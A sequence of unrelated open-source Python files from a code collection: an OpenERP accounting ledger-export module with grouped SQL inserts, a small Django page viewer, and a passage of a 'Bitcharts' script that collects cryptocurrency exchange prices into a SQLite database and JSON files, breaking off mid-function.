'amount': fiscal_tax.get('tax_value', 0.0) * -1, }) return taxes_results
akretion/l10n-brazil
l10n_br_account/models/account_tax.py
Python
agpl-3.0
4,286
# -*- coding: utf-8 -*- ############################################################################### # # Asgard Ledger Export (ALE) module, # Copyright (C) 2005 - 2013 # Héonium (http://www.heonium.com). All Right Reserved # # Asgard Ledger Export (ALE) module # is free software: you can redistribute it and/or modify it under the terms # of the Affero GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # Asgard Ledger Export (ALE) module # is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. See the Affero GNU General Public License for more # details. # # You should have received a copy of the Affero GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################### import os import base64 import copy import time import pooler from osv import fields, osv from tools.translate import _ from heo_common.hnm_lib import * from heo_common.files_tools import * import openerp.addons.decimal_precision as dp class asgard_ledger_export_fields(osv.osv): _inherit = "asgard.ledger.export.fields" _columns = { 'field_account': fields.many2one('ir.model.fields', 'Fields', domain=[ ('model', '=', 'account.export.grouped.statement.line.grouped') ], help="Select which filed you want export."), } asgard_ledger_export_fields() class asgard_ledger_export_statement(osv.osv): """ Liste des exports déja réalisé """ _inherit = "asgard.ledger.export.statement" #def _get_grouped_ales_line(self, cr, uid, ids, field_name, arg, context=None):used for function field def _compute_grouped_ales_line(self, cr, uid, ids, context=None): result = {} pool = pooler.get_pool(cr.dbname) journal_period_obj = pool.get('account.journal.period') grouped_ales_line_obj = pool.get('account.export.grouped.statement.line.grouped') for ale in self.browse(cr, uid, ids, context={}): if not ale.journal_period_id: raise osv.except_osv(_('No Journal/Period selected !'), _('You have to select Journal/Period before populate line.')) jp_ids = journal_period_obj.read(cr, uid, map(lambda x:x.id,ale.journal_period_id), ['journal_id','period_id']) start = time.time() #suppression des lignes existantes cr.execute('delete from account_export_grouped_statement_line_grouped where ales_id = %s', ([str(ale.id)])) offset = 0 results = [1] grouped_line_ids=[] # # while len(results): # cr.execute('SELECT %s, ml.date, l.partner_ref, l.period_id \ # ,l.journal_id, sum(ml.credit) as credit, sum(ml.debit) as debit\ # ,l.account_id, l.company_id \ # FROM \ # asgard_ledger_export_statement_line l \ # inner join account_move_line ml on ml.id = l.move_line_id \ # WHERE l.partner_is_company = True GROUP BY ml.date, l.partner_ref,l.partner_is_company,l.period_id \ # ,l.journal_id \ # ,l.account_id, l.company_id \ # LIMIT 500 OFFSET %s', # (( ale.id, str(offset)))) # results = cr.fetchall() # _columns = { # 'ales_id': fields.many2one('asgard.ledger.export.statement', 'Asgard Statement', required=True, ondelete='cascade', select=True), # 'date': fields.date(string='Date Created Entry', required=True), # 'partner_ref': fields.char(string='Partner ref'), # 'period_id': fields.many2one('account.period', string='Period', required=True), # 'journal_id': fields.many2one('account.journal', string='Journal', required=True), # 'credit': fields.float('Credit'), # 'debit': fields.float(string='Debit'), # 'account_id': fields.many2one('account.account', string='Account', required=True), # 'text_line': fields.text('Line exported', readonly=True, # help="Value of the line when it's exported in file (From format field)"), # 'company_id': fields.many2one('res.company', 'Company', required=True), # } # for id, date, partner_ref,partner_is_company, period_id ,journal_id, credit, debit ,account_id, company_id in results: # ales_line_id = grouped_ales_line_obj.create(cr, uid, { # 'ales_id': ale.id, # 'date': date, # 'partner_ref': partner_ref, # 'period_id': period_id , # 'journal_id': journal_id, # 'credit': credit, # 'debit': debit , # 'account_id': account_id, # 'company_id': company_id # }) # # grouped_line_ids.append((4,ales_line_id)) # used for function field # grouped_line_ids.append(ales_line_id) #offset += len(results) #result[ale.id]= grouped_line_ids # used for function field #regoupement des particuliers #while len(results): #regoupement des pro par debit #sum(round(ml.credit,2)) as credit, sum(round(ml.debit,2)) as debit cr.execute('INSERT INTO account_export_grouped_statement_line_grouped \ (ales_id, date, partner_ref, move_id,period_id, journal_id, credit, debit, account_id, company_id, entry_name) \ SELECT l.ales_id , ml.date,l.partner_ref,l.move_id, l.period_id \ ,l.journal_id, sum(ml.credit) as credit, sum(ml.debit) as debit\ ,l.account_id, l.company_id, mv.name\ FROM \ asgard_ledger_export_statement_line l \ inner join account_move_line ml on ml.id = l.move_line_id \ inner join account_move mv on mv.id = ml.move_id \ WHERE l.ales_id = %s AND l.partner_is_company = True AND ml.credit =0 \ GROUP BY l.ales_id , ml.date, l.partner_ref, l.move_id, l.partner_is_company,l.period_id \ ,l.journal_id \ ,l.account_id, l.company_id , mv.name \ order by l.journal_id, ml.date, mv.name, l.account_id \ OFFSET %s', (( ale.id, str(offset)))) #regoupement des pro par credit cr.execute('INSERT INTO account_export_grouped_statement_line_grouped \ (ales_id, date, partner_ref, move_id, period_id, journal_id, credit, debit, account_id, company_id, entry_name) \ SELECT l.ales_id , ml.date,l.partner_ref,l.move_id, l.period_id \ ,l.journal_id, sum(ml.credit) as credit, sum(ml.debit) as debit\ ,l.account_id, l.company_id , mv.name\ FROM \ asgard_ledger_export_statement_line l \ inner join account_move_line ml on ml.id = l.move_line_id \ inner join account_move mv on mv.id = ml.move_id \ WHERE l.ales_id = %s AND l.partner_is_company = True AND ml.debit=0 \ GROUP BY l.ales_id ,ml.date, l.partner_ref, l.move_id, l.partner_is_company,l.period_id \ ,l.journal_id \ ,l.account_id, l.company_id , mv.name \ order by l.journal_id, ml.date, mv.name, l.account_id \ OFFSET %s', (( ale.id, str(offset)))) #regoupement des particulier par debit cr.execute('INSERT INTO account_export_grouped_statement_line_grouped \ (ales_id, date, partner_ref, period_id, journal_id, credit, debit, account_id, company_id, entry_name) \ SELECT l.ales_id , ml.date,l.partner_ref, l.period_id \ ,l.journal_id, sum(ml.credit) as credit, sum(ml.debit) as debit\ ,l.account_id, l.company_id , mv.name\ FROM \ asgard_ledger_export_statement_line l \ inner join account_move_line ml on ml.id = l.move_line_id \ inner join account_move mv on mv.id = ml.move_id \ WHERE l.ales_id = %s AND (l.partner_is_company = False or l.partner_is_company is null) AND ml.credit =0 \ GROUP BY l.ales_id ,ml.date, l.partner_ref,l.partner_is_company,l.period_id \ ,l.journal_id \ ,l.account_id, l.company_id , mv.name \ order by l.journal_id, ml.date, mv.name, l.account_id \ OFFSET %s', (( ale.id, str(offset)))) #regoupement des particulier par credit cr.execute('INSERT INTO account_export_grouped_statement_line_grouped \ (ales_id, date, partner_ref, period_id, journal_id, credit, debit, account_id, company_id, entry_name) \ SELECT l.ales_id , ml.date,l.partner_ref, l.period_id \ ,l.journal_id, sum(ml.credit) as credit, sum(ml.debit) as debit\ ,l.account_id, l.company_id , mv.name\ FROM \ asgard_ledger_export_statement_line l \ inner join account_move_line ml on ml.id = l.move_line_id \ inner join account_move mv on mv.id = ml.move_id \ WHERE l.ales_id = %s AND (l.partner_is_company = False or l.partner_is_company is null) AND ml.debit=0 \ GROUP BY l.ales_id ,ml.date, l.partner_ref,l.partner_is_company,l.period_id \ ,l.journal_id \ ,l.account_id, l.company_id , mv.name \ order by l.journal_id, ml.date, mv.name, l.account_id \ OFFSET %s', (( ale.id, str(offset)))) return True # _grouped_ales_line_ids_store_triggers = { # 'asgard.ledger.export.statement': (lambda self,cr,uid,ids,context=None: self.search(cr, uid, [('id','child_of',ids)]), # ['ales_line_ids',], 10) # } _columns = { 'grouped': fields.boolean('Export grouped'), 'grouped_ales_line_ids': fields.one2many('account.export.grouped.statement.line.grouped', 'ales_id', 'Grouped Lines', readonly=True, states={'draft':[('readonly',False)]}), # 'journal_period_id': fields.many2one('account.journal.period', 'Journal/Period', readonly=True, states={'draft':[('readonly',False)]}, # help="Select which period you want export."), # 'grouped_ales_line_ids': fields.function(_get_grouped_ales_line, type='one2many', # obj="account.export.grouped.statement.line.grouped", # string="Grouped line",)# store=_grouped_ales_line_ids_store_triggers), } def action_populate(self, cr, uid, ids, context={}): """ parameters : journal_period_id """ pool = pooler.get_pool(cr.dbname) journal_period_obj = pool.get('account.journal.period') ales_line_obj = pool.get('asgard.ledger.export.statement.line') company_id = self.pool.get('res.company')._company_default_get(cr, uid, 'account.account', context=context) for ale in self.browse(cr, uid, ids, context={}): if not ale.journal_period_id: raise osv.except_osv(_('No Journal/Period selected !'), _('You have to select Journal/Period before populate line.')) jp_ids = journal_period_obj.read(cr, uid, map(lambda x:x.id,ale.journal_period_id), ['journal_id','period_id']) start = time.time() for jp in jp_ids: offset = 0 results = (0,) #while len(results): #Create line with SQL (for performence) cr.execute('SELECT count(*) as num_result\ FROM \ account_move_line ml \ left join res_partner p on p.id = ml.partner_id \ inner join asgard_ledger_export_journal targ_j on targ_j.journal_id =ml.journal_id \ WHERE \ period_id = %s AND ml.journal_id = %s AND ml.id NOT IN \ (SELECT move_line_id FROM asgard_ledger_export_statement_line) \ OFFSET %s', ( jp['period_id'][0],jp['journal_id'][0],str(offset))) results = cr.fetchone() if results: #round(ml.credit,2) , round(ml.debit,2), \ ## date_trunc(\'second\',CURRENT_TIMESTAMP(2) AT TIME ZONE \'MST\') cr.execute('INSERT INTO asgard_ledger_export_statement_line \ (name, ales_id, move_line_id, date_created, move_id, period_id, journal_id, credit, debit, account_id, company_id,partner_ref, partner_is_company) \ SELECT ml.date, %s\ , ml.id,ml.date_created,ml.move_id,ml.period_id,ml.journal_id, \ ml.credit , ml.debit, \ ml.account_id, %s\ ,CASE WHEN p.ref is not null THEN p.ref \ WHEN p.ref is null and (not p.is_company or p.is_company is null) THEN targ_j.default_partner_ref \ ELSE p.ref \ END \ as partner_ref, p.is_company \ FROM \ account_move_line ml \ left join res_partner p on p.id = ml.partner_id \ inner join asgard_ledger_export_journal targ_j on targ_j.journal_id =ml.journal_id \ WHERE \ period_id = %s AND ml.journal_id = %s AND ml.id NOT IN \ (SELECT move_line_id FROM asgard_ledger_export_statement_line) \ OFFSET %s', ( ale.id,company_id, jp['period_id'][0],jp['journal_id'][0],str(offset))) #results = map(lambda x:(x[0],x[1],x[2]), cr.fetchall()) # for mv_id, partner_ref, is_company in results: # ales_line_id = ales_line_obj.create(cr, uid, { # 'ales_id': ale.id, # 'move_line_id': mv_id, # 'partner_ref': partner_ref, # 'partner_is_company':is_company, # }) #offset += results row_inserted = int(results[0]) if row_inserted>0: self._compute_grouped_ales_line(cr, uid, ids, context) else: raise osv.except_osv(_('No Move line !'), _('There is no line to add !\n' \ 'Or Selected journals contain no accounting entry or they \ have already been exported (or in current exports).')) #Soit les journaux séléctionnés ne contiennent pas d'écriture comptable soit ils ont déjà été exportés ( ou encours d'export). stop = time.time() return True # 'name': fields.char('Date', size=64, translate=True, required=True, readonly=True), # 'ales_id': fields.many2one('asgard.ledger.export.statement', 'Asgard Statement', required=True, ondelete='cascade', select=True), # 'move_line_id': fields.many2one('account.move.line', 'Entry', # select=True, required=True, # help="Entry selected for ..."), # 'date_created': fields.related('move_line_id', 'date_created', type='date', string='Date Created Entry', store=True), # 'move_id': fields.related('move_line_id', 'move_id', type='many2one', relation='account.move', string='Entry', store=True), # 'period_id': fields.related('move_line_id', 'period_id', type='many2one', relation='account.period', string='Period', store=True), # 'journal_id': fields.related('move_line_id', 'journal_id', type='many2one', relation='account.journal', string='Journal', store=True), # 'credit': fields.related('move_line_id', 'credit', type='float', string='Credit', store=True), # 'debit': fields.related('move_line_id', 'debit', type='float', string='Debit', store=True), # 'account_id': fields.related('move_line_id', 'account_id', type='many2one', relation='account.account', string='Account', store=True), # 'text_line': fields.text('Line exported', readonly=True, # help="Value of the line when it's exported in file (From format field)"), # 'company_id': fields.many2one('res.company', 'Company', required=True), # 'name': lambda *a: time.strftime('%Y/%m/%d-%H:%M:%S'), # 'company_id': lambda s, cr, uid, c: s.pool.get('res.company')._company_default_get(cr, uid, 'account.account', context=c), return True def _faccount_field(self, cr, uid, ids, **kwargs): """ Cette fonction peut être remplacée par '_fbuild_field', mais elle est gardé pour éviter d'avoir mettre une expression python pour les champs simple de l'écriture et leur indirection de niveau 1 parameters : {'data':[<type_field>,<python_expression>], 'line':<browse_line_record>} return : Value of field """ imf_obj = pooler.get_pool(cr.dbname).get('ir.model.fields') # Récupération du nom du champs par rapport à l'object 'ir_model_fields' ... imf = imf_obj.read(cr, uid, [kwargs['data'][1]], ['name'])[0]['name'] # ... Contruction du champs et affectation à 'bf. t = "kwargs['line'].%s%s" % (str(imf), str(kwargs['data'][2])) if isinstance(eval(t), float): return str(eval(t)) return eval(t) def _fbuild_field(self, cr, uid, ids, **kwargs): """ Evalue le champ contenant une expression Python parameters : {'data':[<type_field>,<python_expression>], 'line':<browse_line_record>} return : result of python expression evaluation. """ result = False if kwargs['data'][1]: # Récupération de l'objet 'account_move_line' obj = kwargs['line'] # Évaluation de l'expression python sur l'objet result = eval(kwargs['data'][1], {'object': obj, 'time': time}) return result def get_value(self, cr, uid, ids, **kwargs): """ Call correct method depend on parameters parameters : {'data':[<type_field>,<python_expression>], 'line':<browse_line_record>} return : result of method called """ method_name = '_f' + str(kwargs['data'][0]).lower() try: method = getattr(self, method_name) except AttributeError: print ("The method for verify '%s' type isn't defined (You must " "define it in class 'asgard_ledger_export_statement' of " "module '%s')." % (method_name,__name__)) else: return method(cr, uid, ids, **kwargs) def action_confirm(self, cr, uid, ids, *args): result = False # Si la balance est égale a zéro et qu'il y a des lignes à exporter for ale in self.browse(cr, uid, ids, context={}): if len(ale.ales_line_ids) == 0: raise osv.except_osv( _('No Lines !'), _("You have to add some line to export.") ) results = 0 cr.execute('SELECT count(*) as num_result\ FROM \ asgard_ledger_export_statement_line \ WHERE \ partner_ref is null AND ales_id= %s \ OFFSET %s', ( ale.id,0)) results = cr.fetchone() # if int(results[0]) >0: # raise osv.except_osv( # _('Error !'), # _("Partner ref is required in Statement lines !") # ) if ale.balance == 0.0: result = self.write(cr, uid, ids, {'state':'confirm'}) else: raise osv.except_osv( _('Bad balance !'), _("Balance need to be equal to zero.") ) return result def action_export(self, cr, uid, ids, *args): """ For each entry line build the text value """ pool = pooler.get_pool(cr.dbname) mod_obj = self.pool.get('ir.model.data') ale_obj = pool.get('asgard.ledger.export') alej_obj = pool.get('asgard.ledger.export.journal') attach_obj = pool.get('ir.attachment') for ales in self.browse(cr, uid, ids): # We need first to check if we have other attchments # (Attachments are limited to 1 per statement) attach_ids = [] attach_ids = attach_obj.search(cr, uid, [ ('name', 'like', 'export : %'), ('res_model', '=', 'asgard.ledger.export.statement'), ('res_id', '=', ales.id), ]) if len(attach_ids) >= 1: raise osv.except_osv( _('Error !'), _("You cannot have more than one attachment !") ) # Initalisation de l'encodage du fichier enc = generic_encode( file_header=ales.ale_id.file_header, separator=ales.ale_id.separator, ext=ales.ale_id.extension, ending=ale_obj.get_end_line(cr, uid, ales.ale_id.end_line), encoding=ales.ale_id.encoding) enc.export_file() # Recupération du tableau de construction de ligne build_line = ale_obj.get_building_line(cr, uid, [ales.ale_id.id]) # pour chaque ligne écritures num = 0 order ='journal_id, date,entry_name, account_id' grouped_ales_line_ids = pool.get('account.export.grouped.statement.line.grouped').search( cr, uid, [('id','in',[l.id for l in ales.grouped_ales_line_ids])], 0, len(ales.grouped_ales_line_ids),order, *args) for ales_line in pool.get('account.export.grouped.statement.line.grouped').browse( cr,uid,grouped_ales_line_ids,*args): # Pour chaque construction de champs dans le tableau # 'build_line', duplication du tableau de génération de ligne # de texte num += 1 bl = copy.deepcopy(build_line) for bf in bl: bf[0] = self.get_value(cr, uid, ids, data=bf[0], line=ales_line, num=num) result = enc.write_file_in_flow(bl) #### ## Attachement fp = open(os.path.join(enc.dir_tmp, enc.filetmp), 'r') file_data = fp.read() attach_id = attach_obj.create(cr, uid, { 'name': 'export : ' + ales.name + '.' + ales.ale_id.extension, 'datas': base64.encodestring(file_data), 'datas_fname': enc.filetmp, 'res_model': 'asgard.ledger.export.statement', 'res_id': ales.id, }) ## Attachement self.write(cr, uid, ids, {'state': 'done'}) return True asgard_ledger_export_statement() class account_export_grouped_statement_line_grouped(osv.osv): _name = "account.export.grouped.statement.line.grouped" _description = "Export Statement reconcile grouped" _order = 'journal_id, date,entry_name, account_id' def _get_export_journal(self, cursor, user, ids, name, args, context=None): res = {} cursor.execute('SELECT journal_id, id\ FROM \ asgard_ledger_export_journal \ ',()) results = cursor.fetchall() results_disct = results and dict(results) or {} for grouped_line in self.browse(cursor, user, ids, context=context): res[grouped_line.id] = results_disct.get(grouped_line.journal_id.id, False) return res _columns = { 'ales_id': fields.many2one('asgard.ledger.export.statement', 'Asgard Statement', required=True, ondelete='cascade', select=True), 'date': fields.date(string='Date Created Entry', required=True), 'partner_ref': fields.char(string='Partner ref'), 'move_id': fields.many2one('account.move', string='Entry'), #'move_ref': fields.char(string='Move ref'), 'period_id': fields.many2one('account.period', string='Period', required=True), 'journal_id': fields.many2one('account.journal', string='Journal', required=True), 'credit': fields.float('Credit', digits_compute= dp.get_precision('Account'),), 'debit': fields.float(string='Debit', digits_compute= dp.get_precision('Account'),), 'account_id': fields.many2one('account.account', string='Account', required=True), 'text_line': fields.text('Line exported', readonly=True, help="Value of the line when it's exported in file (From format field)"), 'company_id': fields.many2one('res.company', 'Company', required=True), 'entry_name': fields.related('move_id', 'name', type='char', string='Entry Name', store=True), 'export_journal_id': fields.function(_get_export_journal, type='many2one', obj="asgard.ledger.export.journal", string="Export Journal",) } def search(self, cr, uid, args, offset=0, limit=None, order=None, context=None, count=False): if context is None: context = {} if order is None: order ='date,entry_name, account_id' return super(account_export_grouped_statement_line_grouped, self).search(cr, uid, args, offset, limit, order, context=context, count=count) # def read(self, cr, uid, ids, fields=None, context=None, load='_classic_read'): # # if context is None: # context = {} # order ='date,entry_name, account_id' # ids = self.search(cr, uid, [('id','in',ids)], 0, 1000000,order, context=context) # res = super(account_export_grouped_statement_line_grouped, self).read(cr, uid, ids, fields=fields, context=context, load=load) # #res = sorted(res, key=lambda ord: ord['id']) # return res account_export_grouped_statement_line_grouped() class asgard_ledger_export_statement_line(osv.osv): _inherit = "asgard.ledger.export.statement.line" #_order = 'date,journal_id,entry_name, account_id' _columns = { 'partner_ref': fields.char('Partner ref', size=32, readonly=True), 'partner_is_company': fields.boolean('Is a company', readonly=True), } class asgard_ledger_export_journal(osv.osv): """ Table d'association entre les journaux comptable d'OpenERP et les noms des journaux. + la reférence des clients particuliers dans système cible """ _inherit = "asgard.ledger.export.journal" _columns = { 'default_partner_ref': fields.char('Default partner ref', size=64, help="Default partner ref used in target system."), 'name': fields.char('Name', size=64, translate=False, required=True), }
noemis-fr/old-custom
e3z_account_export_grouped/account_export.py
Python
agpl-3.0
28,581
# -*- coding: utf-8 -*- __license__ = "GNU Affero General Public License, Ver.3" __author__ = "Pablo Alvarez de Sotomayor Posadillo" # This file is part of Kirinki. # # Kirinki is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # Kirinki is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public # License along with kirinki. If not, see <http://www.gnu.org/licenses/>. from django.core.cache import cache from django.contrib.sessions.models import Session from django.template import RequestContext from django.shortcuts import render_to_response from django.template.loader import render_to_string from recaptcha.client import captcha from datetime import datetime, timedelta import logging class MainViewer: def __init__(self, req): logging.basicConfig(filename='/var/log/kirinki.log',level=logging.DEBUG) self.request = req self.session_data = req.session def getLeftCol(self, blocks = []): return render_to_string('kirinki/left.html', {'blocks' : blocks}) def getCenterCol(self, blocks = []): return render_to_string('kirinki/center.html', {'blocks' : blocks}) def getRightCol(self, blocks = []): return render_to_string('kirinki/right.html', {'blocks' : blocks}) def render(self, leftBlocks, centerBlocks, rightBlocks): self.page = render_to_response('kirinki/index.html', {'copy' : '&copy; Pablo Alvarez de Sotomayor Posadillo', 'session' : self.session_data, 'leftCol' : self.getLeftCol(leftBlocks), 'centerCol' : self.getCenterCol(centerBlocks), 'rightCol' : self.getRightCol(rightBlocks)}, context_instance=RequestContext(self.request)) return self.page
i02sopop/Kirinki
kirinki/mainviewer.py
Python
agpl-3.0
2,339
#!/usr/bin/env python #-*- coding: utf-8 -*- """ Bitcharts - ORM classes and functions Copyright(c) 2014 - Lisandro Gallo (lisogallo) [email protected] This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ import os import re import sys import smtplib import requests import argparse import simplejson as json from collections import OrderedDict from sqlalchemy.engine import Engine from BeautifulSoup import BeautifulSoup from ConfigParser import SafeConfigParser from datetime import date, datetime, timedelta from sqlalchemy import exc, event, create_engine, ForeignKey, Sequence from sqlalchemy import Column, Date, Time, Integer, String, Boolean, Float from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship, backref, aliased, sessionmaker @event.listens_for(Engine, 'connect') def set_sqlite_pragma(dbapi_connection, connection_record): """ Decorator to force the support of foreign keys on SQLite. :param dbapi_connection: Engine object. :param connection_record: Connection string. """ cursor = dbapi_connection.cursor() cursor.execute("PRAGMA foreign_keys=ON") cursor.close() def open_session(engine): """ Open session on current connection and return session object. :param engine: Engine object for current connection. """ Session = sessionmaker(bind=engine) session = Session() return session def connect_database(database_url): """ Create connection to engine and return engine object. :param database_url: Full path URL to SQLite database. """ # Set 'echo' to True to get verbose output. engine = create_engine(database_url, echo=False) return engine def create_tables(database_url): """ Create database schema. :param database_url: Full path URL to SQLite database. """ engine = connect_database(database_url) Base.metadata.create_all(engine) def config_parser(config_file): """ Parse data from configuration files. :param config_file: Configuration file with currencies or exchanges data. """ res = [] # Parse and read configuration file. cparser = SafeConfigParser() cparser.read(config_file) for section in cparser.sections(): tup = () for option in cparser.options(section): value = cparser.get(section, option) # String 'True' or 'False' values to boolean if value == 'True': value = True elif value == 'False': value = False tup += (value, ) res.append(tup) return res def send_email(sender, receiver, subject, body): """ Auxiliar function to inform by mail about any unexpected exception. :param sender: From mail address. :param receiver: Destination mail address. :param subject: Subject. :param body: Content body. """ try: msg = ("From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n%s" %(sender, receiver, subject, body)) smtp = smtplib.SMTP('localhost') smtp.sendmail(sender, [receiver], msg) smtp.quit() except Exception as exception: print 'Error %s:' % exception.args[0] def get_json(url): """ Get JSON resource from remote URL. :param url: Full URL to JSON resource over HTTP protocol. """ try: req = requests.get(url, headers={'Accept': 'application/json'}, timeout=5) res = req.json() return res except Exception as exception: print 'Error %s:' % exception.args[0] send_email( '[email protected]', '[email protected]', 'ERROR', exception.args[0] ) res = {} return res def is_dict(something): """ Check if input object is a dictionary or contains a dictionary. Return the dictionary found. :param something: Input object to check. """ if type(something) is dict: for values in something.itervalues(): if type(values) is dict: return is_dict(values) return something def parse_values(dictionary): """ Search for common keys in exchange's APIs which contains currencies values. :param dictionary: Dictionary previously obtained from JSON APIs. """ # Check if input is or contains a dictionary and returns it. res = is_dict(dictionary) # Search for common keys used on APIs and store its values if 'last' in res.iterkeys(): try: last = float(res.get('last')) return last except TypeError: return None elif 'blue' in res.iterkeys(): try: blue = float(res.get('blue')) return blue except TypeError: return None def write_object(database_url, new_object): """ Write new currency, exchange or association object to database through ORM. :param database_url: Full path URL to SQLite database. :param new_object: Object variable. """ try: engine = connect_database(database_url) session = open_session(engine) session.add(new_object) session.commit() except exc.SQLAlchemyError, exception: if session: session.rollback() print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def initialize_database(database_url, currencies_file, exchanges_file): """ Initialize Bitcharts database with exchanges and currencies data parsed from configuration files. :param database_url: Full path URL to SQLite database. :param currencies_file: Configuration file with currencies information. :param exchanges_file: Configuration file with exchanges information. """ currencies = config_parser(currencies_file) # From data in configuration file create each currency ORM object. for currency in currencies: name, description, cryptocurrency, active = currency new_currency = Currency(name, description, cryptocurrency, active) write_object(database_url, new_currency) try: engine = connect_database(database_url) session = open_session(engine) # From data in configuration file create each currency ORM object. exchanges = config_parser(exchanges_file) # Open a session and query the associated currency id from the # currency name (unique) in the configuration file. for exchange in exchanges: name, country, url, api, currency_name, active = exchange query = session.query(Currency.id).filter( Currency.name == currency_name).first() currency_id = query[0] # From data in configuration file create each currency ORM object. new_exchange = Exchange(name, country, url, api, currency_id, active) write_object(database_url, new_exchange) except exc.SQLAlchemyError, exception: if session: session.rollback() print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def clean_database(database_url, days): """ Clean old records from database keeping only the last X days. :param database_url: Full path URL to SQLite database. :param days: Number of days to keep. """ try: engine = connect_database(database_url) session = open_session(engine) today = date.today() last_day = today + timedelta(-int(days)) query = session.query(Association).filter( Association.date < last_day).all() for row in query: session.delete(row) session.commit() except exc.SQLAlchemyError, exception: if session: session.rollback() print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def write_values(database_url): """ Write current currencies values obtained from exchanges as new association objects in the ORM. :param database_url: Full path URL to SQLite database. """ try: engine = connect_database(database_url) session = open_session(engine) # Store in an intermediate class the current active currencies active_currency_ids = aliased(Currency, session.query(Currency) .filter(Currency.active == 1).subquery()) # Store in an intermediate class the current active exchanges active_exchange_ids = aliased(Exchange, session.query(Exchange) .filter(Exchange.active == 1).subquery()) # Store in an intermediate class the current active exchanges for # current active currencies active_currency_exchange_ids = aliased( session.query(active_exchange_ids).filter( active_exchange_ids.currency_id == active_currency_ids.id) .subquery()) query = session.query(active_currency_exchange_ids).all() # Get the active currency values from an active exchange and store # data on an association object. Timestamp it is also stored. for exchange in query: api_url = exchange.url + exchange.api from_api = get_json(api_url) if from_api: last = parse_values(from_api) if last: new_assoc = Association(exchange.id, exchange.currency_id, last) write_object(database_url, new_assoc) except exc.SQLAlchemyError, exception: print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def write_json_file(ordered_dict, json_path): """ Create database schema. :param ordered_dict: Ordered dictionary to be serialized to JSON. :param json_path: Fullpath to write serialized JSON in filesystem. """ pretty_json = json.dumps(ordered_dict, sort_keys=False, indent=4 * ' ') # Write a pretty formated JSON to a file with open(json_path, 'w') as json_file: print >> json_file, pretty_json json_file.close() def generate_sources_json(database_url, output_dir): """ Generates a JSON file on filesystem for the Bitcharts' API. :param database_url: Full path URL to SQLite database. :param output_dir: Output directory to write serialized JSON in filesystem. """ try: engine = connect_database(database_url) session = open_session(engine) # Get current active exchanges active_exchange_ids = aliased(Exchange, session.query(Exchange).filter( Exchange.active == 1).subquery()) exchanges = session.query(active_exchange_ids).all() # Ordered dictionary to be serialized to JSON sources_dict = OrderedDict() # Show the timestamp on the JSON API sources_dict['timestamp'] = datetime.now().strftime( "%a %b %d %Y, %H:%M:%S") # Get a dict for each exchange and append it to the main sources dict for exchange in exchanges: query = session.query(Association).filter( Association.exchange_id == exchange.id).order_by( Association.date.desc()).order_by( Association.time.desc()).first() key_name, row_dict = query.asdict(session) sources_dict[key_name] = row_dict # Generate JSON file from ordered dictionary json_path = output_dir + 'sources.json' print 'Generating ' + json_path + ' file...' write_json_file(sources_dict, json_path) except exc.SQLAlchemyError, exception: print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def generate_graphs_json(database_url, output_dir): """ Generates a JSON file on filesystem for the Bitcharts' graphs. :param database_url: Full path URL to SQLite database. :param output_dir: Output directory to write serialized JSON in filesystem. """ try: engine = connect_database(database_url) session = open_session(engine) # Get current active exchanges active_exchange_ids = aliased(Exchange, session.query(Exchange).filter( Exchange.active == 1).subquery()) exchanges = session.query(active_exchange_ids).all() # Store the actual date today = date.today() # Show the timestamp on the JSON API graphs_dict = OrderedDict() graphs_dict['timestamp'] = datetime.now().strftime( "%a %b %d %Y, %H:%M:%S") # The following generates a Python dictionary storing BTC values # for the last 10 days obtained from active BTC exchanges for exchange in exchanges: values = [] # Iterate on days from today to the last 10 days for i in range(1, 11): day = today + timedelta(days=-i) # Get the last currency value stored for current day query = session.query(Association).filter( Association.date == day).filter( Association.exchange_id == exchange.id).order_by( Association.time.desc()).first() if query is None: # If the script is getting null values for current day, # then puts the last value obtained. if day == today: query = session.query(Association).filter( Association.exchange_id == exchange.id).order_by( Association.time.desc()).first() values.append(query.last) else: values.append(None) else: values.append(query.last) key_name = exchange.name.lower() graphs_dict[key_name] = values[::-1] # Generate JSON file from ordered dictionary json_path = output_dir + 'graphs.json' print 'Generating ' + json_path + ' file...' write_json_file(graphs_dict, json_path) except exc.SQLAlchemyError, exception: print 'Error %s:' % exception.args[0] sys.exit(1) finally: if session: session.close() def generate_marketcap_json(output_dir): """ Get marketcap values from coinmarketcap.com and output to a JSON file. :param output_dir: Output directory to write serialized JSON in filesystem. """ try: # Get full web page from Coinmarketcap.com index. session = requests.Session() link = 'http://coinmarketcap.com/' req = session.get(link) # Create BeautifulSoup object with web response. soup = BeautifulSoup(req.text) # Ordered dictionary object to store data to be JSON serialized. marketcap_dict = OrderedDict() marketcap_dict['timestamp'] = datetime.now().strftime( '%a %b %d %Y, %H:%M:%S') marketcap_dict['currencies'] = [] # Regex expression to search for patterns in web page. anything = re.compile('^.*$') name_regex = re.compile('^.*\\bcurrency-name\\b.*$') marketcap_regex = re.compile('^.*\\bmarket-cap\\b.*$') price_regex = re.compile('^.*\\bprice\\b.*$') positive_change_regex = re.compile('^.*\\bpositive_change\\b.*$') negative_change_regex = re.compile('^.*\\bnegative_change\\b.*$') # Find HTML <tr> tags for each currency. table = soup.findAll('tr', {'id': anything}) # Find the top 5 (five) currencies with the highest marketcap # and obtain their values for item in 